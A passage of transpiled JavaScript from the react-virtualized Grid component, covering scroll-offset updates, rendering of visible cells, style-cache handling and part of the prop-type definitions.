      this._handleInvalidatedGridSize(); // Handle edge case where column or row count has only just increased over 0.
      // In this case we may have to restore a previously-specified scroll offset.
      // For more info see bvaughn/react-virtualized/issues/218


      var columnOrRowCountJustIncreasedFromZero = columnCount > 0 && prevProps.columnCount === 0 || rowCount > 0 && prevProps.rowCount === 0; // Make sure requested changes to :scrollLeft or :scrollTop get applied.
      // Assigning to scrollLeft/scrollTop tells the browser to interrupt any running scroll animations,
      // And to discard any pending async changes to the scroll position that may have happened in the meantime (e.g. on a separate scrolling thread).
      // So we only set these when we require an adjustment of the scroll position.
      // See issue #2 for more information.

      if (scrollPositionChangeReason === SCROLL_POSITION_CHANGE_REASONS.REQUESTED) {
        // @TRICKY :autoHeight and :autoWidth properties instructs Grid to leave :scrollTop and :scrollLeft management to an external HOC (eg WindowScroller).
        // In this case we should avoid checking scrollingContainer.scrollTop and scrollingContainer.scrollLeft since it forces layout/flow.
        if (!autoWidth && scrollLeft >= 0 && (scrollLeft !== this._scrollingContainer.scrollLeft || columnOrRowCountJustIncreasedFromZero)) {
          this._scrollingContainer.scrollLeft = scrollLeft;
        }

        if (!autoHeight && scrollTop >= 0 && (scrollTop !== this._scrollingContainer.scrollTop || columnOrRowCountJustIncreasedFromZero)) {
          this._scrollingContainer.scrollTop = scrollTop;
        }
      } // Special case where the previous size was 0:
      // In this case we don't show any windowed cells at all.
      // So we should always recalculate offset afterwards.


      var sizeJustIncreasedFromZero = (prevProps.width === 0 || prevProps.height === 0) && height > 0 && width > 0; // Update scroll offsets if the current :scrollToColumn or :scrollToRow values requires it
      // @TODO Do we also need this check or can the one in componentWillUpdate() suffice?

      if (this._recomputeScrollLeftFlag) {
        this._recomputeScrollLeftFlag = false;

        this._updateScrollLeftForScrollToColumn(this.props);
      } else {
        updateScrollIndexHelper({
          cellSizeAndPositionManager: instanceProps.columnSizeAndPositionManager,
          previousCellsCount: prevProps.columnCount,
          previousCellSize: prevProps.columnWidth,
          previousScrollToAlignment: prevProps.scrollToAlignment,
          previousScrollToIndex: prevProps.scrollToColumn,
          previousSize: prevProps.width,
          scrollOffset: scrollLeft,
          scrollToAlignment: scrollToAlignment,
          scrollToIndex: scrollToColumn,
          size: width,
          sizeJustIncreasedFromZero: sizeJustIncreasedFromZero,
          updateScrollIndexCallback: function updateScrollIndexCallback() {
            return _this2._updateScrollLeftForScrollToColumn(_this2.props);
          }
        });
      }

      if (this._recomputeScrollTopFlag) {
        this._recomputeScrollTopFlag = false;

        this._updateScrollTopForScrollToRow(this.props);
      } else {
        updateScrollIndexHelper({
          cellSizeAndPositionManager: instanceProps.rowSizeAndPositionManager,
          previousCellsCount: prevProps.rowCount,
          previousCellSize: prevProps.rowHeight,
          previousScrollToAlignment: prevProps.scrollToAlignment,
          previousScrollToIndex: prevProps.scrollToRow,
          previousSize: prevProps.height,
          scrollOffset: scrollTop,
          scrollToAlignment: scrollToAlignment,
          scrollToIndex: scrollToRow,
          size: height,
          sizeJustIncreasedFromZero: sizeJustIncreasedFromZero,
          updateScrollIndexCallback: function updateScrollIndexCallback() {
            return _this2._updateScrollTopForScrollToRow(_this2.props);
          }
        });
      } // Update onRowsRendered callback if start/stop indices have changed


      this._invokeOnGridRenderedHelper(); // Changes to :scrollLeft or :scrollTop should also notify :onScroll listeners


      if (scrollLeft !== prevState.scrollLeft || scrollTop !== prevState.scrollTop) {
        var totalRowsHeight = instanceProps.rowSizeAndPositionManager.getTotalSize();
        var totalColumnsWidth = instanceProps.columnSizeAndPositionManager.getTotalSize();

        this._invokeOnScrollMemoizer({
          scrollLeft: scrollLeft,
          scrollTop: scrollTop,
          totalColumnsWidth: totalColumnsWidth,
          totalRowsHeight: totalRowsHeight
        });
      }

      this._maybeCallOnScrollbarPresenceChange();
    }
  }, {
    key: "componentWillUnmount",
    value: function componentWillUnmount() {
      if (this._disablePointerEventsTimeoutId) {
        cancelAnimationTimeout(this._disablePointerEventsTimeoutId);
      }
    }
    /**
     * This method updates scrollLeft/scrollTop in state for the following conditions:
     * 1) Empty content (0 rows or columns)
     * 2) New scroll props overriding the current state
     * 3) Cells-count or cells-size has changed, making previous scroll offsets invalid
     */

  }, {
    key: "render",
    value: function render() {
      var _this$props6 = this.props,
          autoContainerWidth = _this$props6.autoContainerWidth,
          autoHeight = _this$props6.autoHeight,
          autoWidth = _this$props6.autoWidth,
          className = _this$props6.className,
          containerProps = _this$props6.containerProps,
          containerRole = _this$props6.containerRole,
          containerStyle = _this$props6.containerStyle,
          height = _this$props6.height,
          id = _this$props6.id,
          noContentRenderer = _this$props6.noContentRenderer,
          role = _this$props6.role,
          style = _this$props6.style,
          tabIndex = _this$props6.tabIndex,
          width = _this$props6.width;
      var _this$state2 = this.state,
          instanceProps = _this$state2.instanceProps,
          needToResetStyleCache = _this$state2.needToResetStyleCache;

      var isScrolling = this._isScrolling();

      var gridStyle = {
        boxSizing: 'border-box',
        direction: 'ltr',
        height: autoHeight ? 'auto' : height,
        position: 'relative',
        width: autoWidth ? 'auto' : width,
        WebkitOverflowScrolling: 'touch',
        willChange: 'transform'
      };

      if (needToResetStyleCache) {
        this._styleCache = {};
      } // calculate _styleCache here
      // if state.isScrolling (not from _isScrolling) then reset


      if (!this.state.isScrolling) {
        this._resetStyleCache();
      } // calculate children to render here


      this._calculateChildrenToRender(this.props, this.state);

      var totalColumnsWidth = instanceProps.columnSizeAndPositionManager.getTotalSize();
      var totalRowsHeight = instanceProps.rowSizeAndPositionManager.getTotalSize(); // Force browser to hide scrollbars when we know they aren't necessary.
      // Otherwise once scrollbars appear they may not disappear again.
      // For more info see issue #116

      var verticalScrollBarSize = totalRowsHeight > height ? instanceProps.scrollbarSize : 0;
      var horizontalScrollBarSize = totalColumnsWidth > width ? instanceProps.scrollbarSize : 0;

      if (horizontalScrollBarSize !== this._horizontalScrollBarSize || verticalScrollBarSize !== this._verticalScrollBarSize) {
        this._horizontalScrollBarSize = horizontalScrollBarSize;
        this._verticalScrollBarSize = verticalScrollBarSize;
        this._scrollbarPresenceChanged = true;
      } // Also explicitly init styles to 'auto' if scrollbars are required.
      // This works around an obscure edge case where external CSS styles have not yet been loaded,
      // But an initial scroll index of offset is set as an external prop.
      // Without this style, Grid would render the correct range of cells but would NOT update its internal offset.
      // This was originally reported via clauderic/react-infinite-calendar/issues/23


      gridStyle.overflowX = totalColumnsWidth + verticalScrollBarSize <= width ? 'hidden' : 'auto';
      gridStyle.overflowY = totalRowsHeight + horizontalScrollBarSize <= height ? 'hidden' : 'auto';
      var childrenToDisplay = this._childrenToDisplay;
      var showNoContentRenderer = childrenToDisplay.length === 0 && height > 0 && width > 0;
      return React.createElement("div", _extends({
        ref: this._setScrollingContainerRef
      }, containerProps, {
        "aria-label": this.props['aria-label'],
        "aria-readonly": this.props['aria-readonly'],
        className: clsx('ReactVirtualized__Grid', className),
        id: id,
        onScroll: this._onScroll,
        role: role,
        style: _objectSpread({}, gridStyle, {}, style),
        tabIndex: tabIndex
      }), childrenToDisplay.length > 0 && React.createElement("div", {
        className: "ReactVirtualized__Grid__innerScrollContainer",
        role: containerRole,
        style: _objectSpread({
          width: autoContainerWidth ? 'auto' : totalColumnsWidth,
          height: totalRowsHeight,
          maxWidth: totalColumnsWidth,
          maxHeight: totalRowsHeight,
          overflow: 'hidden',
          pointerEvents: isScrolling ? 'none' : '',
          position: 'relative'
        }, containerStyle)
      }, childrenToDisplay), showNoContentRenderer && noContentRenderer());
    }
    /* ---------------------------- Helper methods ---------------------------- */

  }, {
    key: "_calculateChildrenToRender",
    value: function _calculateChildrenToRender() {
      var props = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : this.props;
      var state = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : this.state;
      var cellRenderer = props.cellRenderer,
          cellRangeRenderer = props.cellRangeRenderer,
          columnCount = props.columnCount,
          deferredMeasurementCache = props.deferredMeasurementCache,
          height = props.height,
          overscanColumnCount = props.overscanColumnCount,
          overscanIndicesGetter = props.overscanIndicesGetter,
          overscanRowCount = props.overscanRowCount,
          rowCount = props.rowCount,
          width = props.width,
          isScrollingOptOut = props.isScrollingOptOut;
      var scrollDirectionHorizontal = state.scrollDirectionHorizontal,
          scrollDirectionVertical = state.scrollDirectionVertical,
          instanceProps = state.instanceProps;
      var scrollTop = this._initialScrollTop > 0 ? this._initialScrollTop : state.scrollTop;
      var scrollLeft = this._initialScrollLeft > 0 ? this._initialScrollLeft : state.scrollLeft;

      var isScrolling = this._isScrolling(props, state);

      this._childrenToDisplay = []; // Render only enough columns and rows to cover the visible area of the grid.

      if (height > 0 && width > 0) {
        var visibleColumnIndices = instanceProps.columnSizeAndPositionManager.getVisibleCellRange({
          containerSize: width,
          offset: scrollLeft
        });
        var visibleRowIndices = instanceProps.rowSizeAndPositionManager.getVisibleCellRange({
          containerSize: height,
          offset: scrollTop
        });
        var horizontalOffsetAdjustment = instanceProps.columnSizeAndPositionManager.getOffsetAdjustment({
          containerSize: width,
          offset: scrollLeft
        });
        var verticalOffsetAdjustment = instanceProps.rowSizeAndPositionManager.getOffsetAdjustment({
          containerSize: height,
          offset: scrollTop
        }); // Store for _invokeOnGridRenderedHelper()

        this._renderedColumnStartIndex = visibleColumnIndices.start;
        this._renderedColumnStopIndex = visibleColumnIndices.stop;
        this._renderedRowStartIndex = visibleRowIndices.start;
        this._renderedRowStopIndex = visibleRowIndices.stop;
        var overscanColumnIndices = overscanIndicesGetter({
          direction: 'horizontal',
          cellCount: columnCount,
          overscanCellsCount: overscanColumnCount,
          scrollDirection: scrollDirectionHorizontal,
          startIndex: typeof visibleColumnIndices.start === 'number' ? visibleColumnIndices.start : 0,
          stopIndex: typeof visibleColumnIndices.stop === 'number' ? visibleColumnIndices.stop : -1
        });
        var overscanRowIndices = overscanIndicesGetter({
          direction: 'vertical',
          cellCount: rowCount,
          overscanCellsCount: overscanRowCount,
          scrollDirection: scrollDirectionVertical,
          startIndex: typeof visibleRowIndices.start === 'number' ? visibleRowIndices.start : 0,
          stopIndex: typeof visibleRowIndices.stop === 'number' ? visibleRowIndices.stop : -1
        }); // Store for _invokeOnGridRenderedHelper()

        var columnStartIndex = overscanColumnIndices.overscanStartIndex;
        var columnStopIndex = overscanColumnIndices.overscanStopIndex;
        var rowStartIndex = overscanRowIndices.overscanStartIndex;
        var rowStopIndex = overscanRowIndices.overscanStopIndex; // Advanced use-cases (eg CellMeasurer) require batched measurements to determine accurate sizes.

        if (deferredMeasurementCache) {
          // If rows have a dynamic height, scan the rows we are about to render.
          // If any have not yet been measured, then we need to render all columns initially,
          // Because the height of the row is equal to the tallest cell within that row,
          // (And so we can't know the height without measuring all column-cells first).
          if (!deferredMeasurementCache.hasFixedHeight()) {
            for (var rowIndex = rowStartIndex; rowIndex <= rowStopIndex; rowIndex++) {
              if (!deferredMeasurementCache.has(rowIndex, 0)) {
                columnStartIndex = 0;
                columnStopIndex = columnCount - 1;
                break;
              }
            }
          } // If columns have a dynamic width, scan the columns we are about to render.
          // If any have not yet been measured, then we need to render all rows initially,
          // Because the width of the column is equal to the widest cell within that column,
          // (And so we can't know the width without measuring all row-cells first).


          if (!deferredMeasurementCache.hasFixedWidth()) {
            for (var columnIndex = columnStartIndex; columnIndex <= columnStopIndex; columnIndex++) {
              if (!deferredMeasurementCache.has(0, columnIndex)) {
                rowStartIndex = 0;
                rowStopIndex = rowCount - 1;
                break;
              }
            }
          }
        }

        this._childrenToDisplay = cellRangeRenderer({
          cellCache: this._cellCache,
          cellRenderer: cellRenderer,
          columnSizeAndPositionManager: instanceProps.columnSizeAndPositionManager,
          columnStartIndex: columnStartIndex,
          columnStopIndex: columnStopIndex,
          deferredMeasurementCache: deferredMeasurementCache,
          horizontalOffsetAdjustment: horizontalOffsetAdjustment,
          isScrolling: isScrolling,
          isScrollingOptOut: isScrollingOptOut,
          parent: this,
          rowSizeAndPositionManager: instanceProps.rowSizeAndPositionManager,
          rowStartIndex: rowStartIndex,
          rowStopIndex: rowStopIndex,
          scrollLeft: scrollLeft,
          scrollTop: scrollTop,
          styleCache: this._styleCache,
          verticalOffsetAdjustment: verticalOffsetAdjustment,
          visibleColumnIndices: visibleColumnIndices,
          visibleRowIndices: visibleRowIndices
        }); // update the indices

        this._columnStartIndex = columnStartIndex;
        this._columnStopIndex = columnStopIndex;
        this._rowStartIndex = rowStartIndex;
        this._rowStopIndex = rowStopIndex;
      }
    }
    /**
     * Sets an :isScrolling flag for a small window of time.
     * This flag is used to disable pointer events on the scrollable portion of the Grid.
     * This prevents jerky/stuttery mouse-wheel scrolling.
     */

  }, {
    key: "_debounceScrollEnded",
    value: function _debounceScrollEnded() {
      var scrollingResetTimeInterval = this.props.scrollingResetTimeInterval;

      if (this._disablePointerEventsTimeoutId) {
        cancelAnimationTimeout(this._disablePointerEventsTimeoutId);
      }

      this._disablePointerEventsTimeoutId = requestAnimationTimeout(this._debounceScrollEndedCallback, scrollingResetTimeInterval);
    }
  }, {
    key: "_handleInvalidatedGridSize",

    /**
     * Check for batched CellMeasurer size invalidations.
     * This will occur the first time one or more previously unmeasured cells are rendered.
     */
    value: function _handleInvalidatedGridSize() {
      if (typeof this._deferredInvalidateColumnIndex === 'number' && typeof this._deferredInvalidateRowIndex === 'number') {
        var columnIndex = this._deferredInvalidateColumnIndex;
        var rowIndex = this._deferredInvalidateRowIndex;
        this._deferredInvalidateColumnIndex = null;
        this._deferredInvalidateRowIndex = null;
        this.recomputeGridSize({
          columnIndex: columnIndex,
          rowIndex: rowIndex
        });
      }
    }
  }, {
    key: "_invokeOnScrollMemoizer",
    value: function _invokeOnScrollMemoizer(_ref6) {
      var _this3 = this;

      var scrollLeft = _ref6.scrollLeft,
          scrollTop = _ref6.scrollTop,
          totalColumnsWidth = _ref6.totalColumnsWidth,
          totalRowsHeight = _ref6.totalRowsHeight;

      this._onScrollMemoizer({
        callback: function callback(_ref7) {
          var scrollLeft = _ref7.scrollLeft,
              scrollTop = _ref7.scrollTop;
          var _this3$props = _this3.props,
              height = _this3$props.height,
              onScroll = _this3$props.onScroll,
              width = _this3$props.width;
          onScroll({
            clientHeight: height,
            clientWidth: width,
            scrollHeight: totalRowsHeight,
            scrollLeft: scrollLeft,
            scrollTop: scrollTop,
            scrollWidth: totalColumnsWidth
          });
        },
        indices: {
          scrollLeft: scrollLeft,
          scrollTop: scrollTop
        }
      });
    }
  }, {
    key: "_isScrolling",
    value: function _isScrolling() {
      var props = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : this.props;
      var state = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : this.state;
      // If isScrolling is defined in props, use it to override the value in state
      // This is a performance optimization for WindowScroller + Grid
      return Object.hasOwnProperty.call(props, 'isScrolling') ? Boolean(props.isScrolling) : Boolean(state.isScrolling);
    }
  }, {
    key: "_maybeCallOnScrollbarPresenceChange",
    value: function _maybeCallOnScrollbarPresenceChange() {
      if (this._scrollbarPresenceChanged) {
        var onScrollbarPresenceChange = this.props.onScrollbarPresenceChange;
        this._scrollbarPresenceChanged = false;
        onScrollbarPresenceChange({
          horizontal: this._horizontalScrollBarSize > 0,
          size: this.state.instanceProps.scrollbarSize,
          vertical: this._verticalScrollBarSize > 0
        });
      }
    }
  }, {
    key: "scrollToPosition",

    /**
     * Scroll to the specified offset(s).
     * Useful for animating position changes.
     */
    value: function scrollToPosition(_ref8) {
      var scrollLeft = _ref8.scrollLeft,
          scrollTop = _ref8.scrollTop;

      var stateUpdate = Grid._getScrollToPositionStateUpdate({
        prevState: this.state,
        scrollLeft: scrollLeft,
        scrollTop: scrollTop
      });

      if (stateUpdate) {
        stateUpdate.needToResetStyleCache = false;
        this.setState(stateUpdate);
      }
    }
  }, {
    key: "_getCalculatedScrollLeft",
    value: function _getCalculatedScrollLeft() {
      var props = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : this.props;
      var state = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : this.state;
      return Grid._getCalculatedScrollLeft(props, state);
    }
  }, {
    key: "_updateScrollLeftForScrollToColumn",
    value: function _updateScrollLeftForScrollToColumn() {
      var props = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : this.props;
      var state = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : this.state;

      var stateUpdate = Grid._getScrollLeftForScrollToColumnStateUpdate(props, state);

      if (stateUpdate) {
        stateUpdate.needToResetStyleCache = false;
        this.setState(stateUpdate);
      }
    }
  }, {
    key: "_getCalculatedScrollTop",
    value: function _getCalculatedScrollTop() {
      var props = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : this.props;
      var state = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : this.state;
      return Grid._getCalculatedScrollTop(props, state);
    }
  }, {
    key: "_resetStyleCache",
    value: function _resetStyleCache() {
      var styleCache = this._styleCache;
      var cellCache = this._cellCache;
      var isScrollingOptOut = this.props.isScrollingOptOut; // Reset cell and style caches once scrolling stops.
      // This makes Grid simpler to use (since cells commonly change).
      // And it keeps the caches from growing too large.
      // Performance is most sensitive when a user is scrolling.
      // Don't clear visible cells from cellCache if isScrollingOptOut is specified.
      // This keeps the cellCache to a resonable size.

      this._cellCache = {};
      this._styleCache = {}; // Copy over the visible cell styles so avoid unnecessary re-render.

      for (var rowIndex = this._rowStartIndex; rowIndex <= this._rowStopIndex; rowIndex++) {
        for (var columnIndex = this._columnStartIndex; columnIndex <= this._columnStopIndex; columnIndex++) {
          var key = "".concat(rowIndex, "-").concat(columnIndex);
          this._styleCache[key] = styleCache[key];

          if (isScrollingOptOut) {
            this._cellCache[key] = cellCache[key];
          }
        }
      }
    }
  }, {
    key: "_updateScrollTopForScrollToRow",
    value: function _updateScrollTopForScrollToRow() {
      var props = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : this.props;
      var state = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : this.state;

      var stateUpdate = Grid._getScrollTopForScrollToRowStateUpdate(props, state);

      if (stateUpdate) {
        stateUpdate.needToResetStyleCache = false;
        this.setState(stateUpdate);
      }
    }
  }], [{
    key: "getDerivedStateFromProps",
    value: function getDerivedStateFromProps(nextProps, prevState) {
      var newState = {};

      if (nextProps.columnCount === 0 && prevState.scrollLeft !== 0 || nextProps.rowCount === 0 && prevState.scrollTop !== 0) {
        newState.scrollLeft = 0;
        newState.scrollTop = 0; // only use scroll{Left,Top} from props if scrollTo{Column,Row} isn't specified
        // scrollTo{Column,Row} should override scroll{Left,Top}
      } else if (nextProps.scrollLeft !== prevState.scrollLeft && nextProps.scrollToColumn < 0 || nextProps.scrollTop !== prevState.scrollTop && nextProps.scrollToRow < 0) {
        Object.assign(newState, Grid._getScrollToPositionStateUpdate({
          prevState: prevState,
          scrollLeft: nextProps.scrollLeft,
          scrollTop: nextProps.scrollTop
        }));
      }

      var instanceProps = prevState.instanceProps; // Initially we should not clearStyleCache

      newState.needToResetStyleCache = false;

      if (nextProps.columnWidth !== instanceProps.prevColumnWidth || nextProps.rowHeight !== instanceProps.prevRowHeight) {
        // Reset cache. set it to {} in render
        newState.needToResetStyleCache = true;
      }

      instanceProps.columnSizeAndPositionManager.configure({
        cellCount: nextProps.columnCount,
        estimatedCellSize: Grid._getEstimatedColumnSize(nextProps),
        cellSizeGetter: Grid._wrapSizeGetter(nextProps.columnWidth)
      });
      instanceProps.rowSizeAndPositionManager.configure({
        cellCount: nextProps.rowCount,
        estimatedCellSize: Grid._getEstimatedRowSize(nextProps),
        cellSizeGetter: Grid._wrapSizeGetter(nextProps.rowHeight)
      });

      if (instanceProps.prevColumnCount === 0 || instanceProps.prevRowCount === 0) {
        instanceProps.prevColumnCount = 0;
        instanceProps.prevRowCount = 0;
      } // If scrolling is controlled outside this component, clear cache when scrolling stops


      if (nextProps.autoHeight && nextProps.isScrolling === false && instanceProps.prevIsScrolling === true) {
        Object.assign(newState, {
          isScrolling: false
        });
      }

      var maybeStateA;
      var maybeStateB;
      calculateSizeAndPositionDataAndUpdateScrollOffset({
        cellCount: instanceProps.prevColumnCount,
        cellSize: typeof instanceProps.prevColumnWidth === 'number' ? instanceProps.prevColumnWidth : null,
        computeMetadataCallback: function computeMetadataCallback() {
          return instanceProps.columnSizeAndPositionManager.resetCell(0);
        },
        computeMetadataCallbackProps: nextProps,
        nextCellsCount: nextProps.columnCount,
        nextCellSize: typeof nextProps.columnWidth === 'number' ? nextProps.columnWidth : null,
        nextScrollToIndex: nextProps.scrollToColumn,
        scrollToIndex: instanceProps.prevScrollToColumn,
        updateScrollOffsetForScrollToIndex: function updateScrollOffsetForScrollToIndex() {
          maybeStateA = Grid._getScrollLeftForScrollToColumnStateUpdate(nextProps, prevState);
        }
      });
      calculateSizeAndPositionDataAndUpdateScrollOffset({
        cellCount: instanceProps.prevRowCount,
        cellSize: typeof instanceProps.prevRowHeight === 'number' ? instanceProps.prevRowHeight : null,
        computeMetadataCallback: function computeMetadataCallback() {
          return instanceProps.rowSizeAndPositionManager.resetCell(0);
        },
        computeMetadataCallbackProps: nextProps,
        nextCellsCount: nextProps.rowCount,
        nextCellSize: typeof nextProps.rowHeight === 'number' ? nextProps.rowHeight : null,
        nextScrollToIndex: nextProps.scrollToRow,
        scrollToIndex: instanceProps.prevScrollToRow,
        updateScrollOffsetForScrollToIndex: function updateScrollOffsetForScrollToIndex() {
          maybeStateB = Grid._getScrollTopForScrollToRowStateUpdate(nextProps, prevState);
        }
      });
      instanceProps.prevColumnCount = nextProps.columnCount;
      instanceProps.prevColumnWidth = nextProps.columnWidth;
      instanceProps.prevIsScrolling = nextProps.isScrolling === true;
      instanceProps.prevRowCount = nextProps.rowCount;
      instanceProps.prevRowHeight = nextProps.rowHeight;
      instanceProps.prevScrollToColumn = nextProps.scrollToColumn;
      instanceProps.prevScrollToRow = nextProps.scrollToRow; // getting scrollBarSize (moved from componentWillMount)

      instanceProps.scrollbarSize = nextProps.getScrollbarSize();

      if (instanceProps.scrollbarSize === undefined) {
        instanceProps.scrollbarSizeMeasured = false;
        instanceProps.scrollbarSize = 0;
      } else {
        instanceProps.scrollbarSizeMeasured = true;
      }

      newState.instanceProps = instanceProps;
      return _objectSpread({}, newState, {}, maybeStateA, {}, maybeStateB);
    }
  }, {
    key: "_getEstimatedColumnSize",
    value: function _getEstimatedColumnSize(props) {
      return typeof props.columnWidth === 'number' ? props.columnWidth : props.estimatedColumnSize;
    }
  }, {
    key: "_getEstimatedRowSize",
    value: function _getEstimatedRowSize(props) {
      return typeof props.rowHeight === 'number' ? props.rowHeight : props.estimatedRowSize;
    }
  }, {
    key: "_getScrollToPositionStateUpdate",

    /**
     * Get the updated state after scrolling to
     * scrollLeft and scrollTop
     */
    value: function _getScrollToPositionStateUpdate(_ref9) {
      var prevState = _ref9.prevState,
          scrollLeft = _ref9.scrollLeft,
          scrollTop = _ref9.scrollTop;
      var newState = {
        scrollPositionChangeReason: SCROLL_POSITION_CHANGE_REASONS.REQUESTED
      };

      if (typeof scrollLeft === 'number' && scrollLeft >= 0) {
        newState.scrollDirectionHorizontal = scrollLeft > prevState.scrollLeft ? SCROLL_DIRECTION_FORWARD : SCROLL_DIRECTION_BACKWARD;
        newState.scrollLeft = scrollLeft;
      }

      if (typeof scrollTop === 'number' && scrollTop >= 0) {
        newState.scrollDirectionVertical = scrollTop > prevState.scrollTop ? SCROLL_DIRECTION_FORWARD : SCROLL_DIRECTION_BACKWARD;
        newState.scrollTop = scrollTop;
      }

      if (typeof scrollLeft === 'number' && scrollLeft >= 0 && scrollLeft !== prevState.scrollLeft || typeof scrollTop === 'number' && scrollTop >= 0 && scrollTop !== prevState.scrollTop) {
        return newState;
      }

      return {};
    }
  }, {
    key: "_wrapSizeGetter",
    value: function _wrapSizeGetter(value) {
      return typeof value === 'function' ? value : function () {
        return value;
      };
    }
  }, {
    key: "_getCalculatedScrollLeft",
    value: function _getCalculatedScrollLeft(nextProps, prevState) {
      var columnCount = nextProps.columnCount,
          height = nextProps.height,
          scrollToAlignment = nextProps.scrollToAlignment,
          scrollToColumn = nextProps.scrollToColumn,
          width = nextProps.width;
      var scrollLeft = prevState.scrollLeft,
          instanceProps = prevState.instanceProps;

      if (columnCount > 0) {
        var finalColumn = columnCount - 1;
        var targetIndex = scrollToColumn < 0 ? finalColumn : Math.min(finalColumn, scrollToColumn);
        var totalRowsHeight = instanceProps.rowSizeAndPositionManager.getTotalSize();
        var scrollBarSize = instanceProps.scrollbarSizeMeasured && totalRowsHeight > height ? instanceProps.scrollbarSize : 0;
        return instanceProps.columnSizeAndPositionManager.getUpdatedOffsetForIndex({
          align: scrollToAlignment,
          containerSize: width - scrollBarSize,
          currentOffset: scrollLeft,
          targetIndex: targetIndex
        });
      }

      return 0;
    }
  }, {
    key: "_getScrollLeftForScrollToColumnStateUpdate",
    value: function _getScrollLeftForScrollToColumnStateUpdate(nextProps, prevState) {
      var scrollLeft = prevState.scrollLeft;

      var calculatedScrollLeft = Grid._getCalculatedScrollLeft(nextProps, prevState);

      if (typeof calculatedScrollLeft === 'number' && calculatedScrollLeft >= 0 && scrollLeft !== calculatedScrollLeft) {
        return Grid._getScrollToPositionStateUpdate({
          prevState: prevState,
          scrollLeft: calculatedScrollLeft,
          scrollTop: -1
        });
      }

      return {};
    }
  }, {
    key: "_getCalculatedScrollTop",
    value: function _getCalculatedScrollTop(nextProps, prevState) {
      var height = nextProps.height,
          rowCount = nextProps.rowCount,
          scrollToAlignment = nextProps.scrollToAlignment,
          scrollToRow = nextProps.scrollToRow,
          width = nextProps.width;
      var scrollTop = prevState.scrollTop,
          instanceProps = prevState.instanceProps;

      if (rowCount > 0) {
        var finalRow = rowCount - 1;
        var targetIndex = scrollToRow < 0 ? finalRow : Math.min(finalRow, scrollToRow);
        var totalColumnsWidth = instanceProps.columnSizeAndPositionManager.getTotalSize();
        var scrollBarSize = instanceProps.scrollbarSizeMeasured && totalColumnsWidth > width ? instanceProps.scrollbarSize : 0;
        return instanceProps.rowSizeAndPositionManager.getUpdatedOffsetForIndex({
          align: scrollToAlignment,
          containerSize: height - scrollBarSize,
          currentOffset: scrollTop,
          targetIndex: targetIndex
        });
      }

      return 0;
    }
  }, {
    key: "_getScrollTopForScrollToRowStateUpdate",
    value: function _getScrollTopForScrollToRowStateUpdate(nextProps, prevState) {
      var scrollTop = prevState.scrollTop;

      var calculatedScrollTop = Grid._getCalculatedScrollTop(nextProps, prevState);

      if (typeof calculatedScrollTop === 'number' && calculatedScrollTop >= 0 && scrollTop !== calculatedScrollTop) {
        return Grid._getScrollToPositionStateUpdate({
          prevState: prevState,
          scrollLeft: -1,
          scrollTop: calculatedScrollTop
        });
      }

      return {};
    }
  }]);

  return Grid;
}(React.PureComponent), _defineProperty(_class, "propTypes", process.env.NODE_ENV === 'production' ? null : {
  "aria-label": PropTypes.string.isRequired,
  "aria-readonly": PropTypes.bool,

  /**
   * Set the width of the inner scrollable container to 'auto'.
   * This is useful for single-column Grids to ensure that the column doesn't extend below a vertical scrollbar.
   */
  "autoContainerWidth": PropTypes.bool.isRequired,

  /**
   * Removes fixed height from the scrollingContainer so that the total height of rows can stretch the window.
   * Intended for use with WindowScroller
   */
  "autoHeight": PropTypes.bool.isRequired,

  /**
   * Removes fixed width from the scrollingContainer so that the total width of rows can stretch the window.
   * Intended for use with WindowScroller
   */
  "autoWidth": PropTypes.bool.isRequired,

  /** Responsible for rendering a cell given an row and column index.  */
  "cellRenderer": function cellRenderer() {
    return (typeof bpfrpt_proptype_CellRenderer === "function" ? bpfrpt_proptype_CellRenderer.isRequired ? bpfrpt_proptype_CellRenderer.isRequired : bpfrpt_proptype_CellRenderer : PropTypes.shape(bpfrpt_proptype_CellRenderer).isRequired).apply(this, arguments);
  },

  /** Responsible for rendering a group of cells given their index ranges.  */
  "cellRangeRenderer": function cellRangeRenderer() {
    return (typeof bpfrpt_proptype_CellRangeRenderer === "function" ? bpfrpt_proptype_CellRangeRenderer.isRequired ? bpfrpt_proptype_CellRangeRenderer.isRequired : bpfrpt_proptype_CellRangeRenderer : PropTypes.shape(bpfrpt_proptype_CellRangeRenderer).isRequired).apply(this, arguments);
  },

  /** Optional custom CSS class name to attach to root Grid element.  */
  "className": PropTypes.string,

  /** Number of columns in grid.  */
  "columnCount": PropTypes.number.isRequired,

  /** Either a fixed column width (number) or a function that returns the width of a column given its index.  */
  "columnWidth": function columnWidth() {
    return (typeof bpfrpt_proptype_CellSize === "function" ? bpfrpt_proptype_CellSize.isRequired ? bpfrpt_proptype_CellSize.isRequired : bpfrpt_proptype_CellSize : PropTypes.shape(bpfrpt_proptype_CellSize).isRequired).apply(this, arguments);
  },

  /** Unfiltered props for the Grid container. */
  "containerProps": PropTypes.object,

  /** ARIA role for the cell-container.  */
  "containerRole": PropTypes.string.isRequired,

  /** Optional inline style applied to inner cell-container */
  "containerStyle": PropTypes.object.isRequired,

  /**
   * If CellMeasurer is used to measure this Grid's children, this should be a pointer to its CellMeasurerCache.
   * A shared CellMeasurerCache reference enables Grid and CellMeasurer to share measurement data.
   */
  "deferredMeasurementCache": PropTypes.object,

  /**
   * Used to estimate the total width of a Grid before all of its columns have actually been measured.
   * The estimated total width is adjusted as columns are rendered.
   */
  "estimatedColumnSize": PropTypes.number.isRequired,

  /**
   * Used to estimate the total height of a Grid before all of its rows have actually been measured.
   * The estimated total height is adjusted as rows are rendered.
   */
  "estimatedRowSize": PropTypes.number.isRequired,

  /** Exposed for testing purposes only.  */
  "getScrollbarSize": PropTypes.func.isRequired,

  /** Height of Grid; this property determines the number of visible (vs virtualized) rows.  */
  "height": PropTypes.number.isRequired,

  /** Optional custom id to attach to root Grid element.  */
  "id": PropTypes.string,

  /**
   * Override internal is-scrolling state tracking.
   * This property is primarily intended for use with the WindowScroller component.
   */
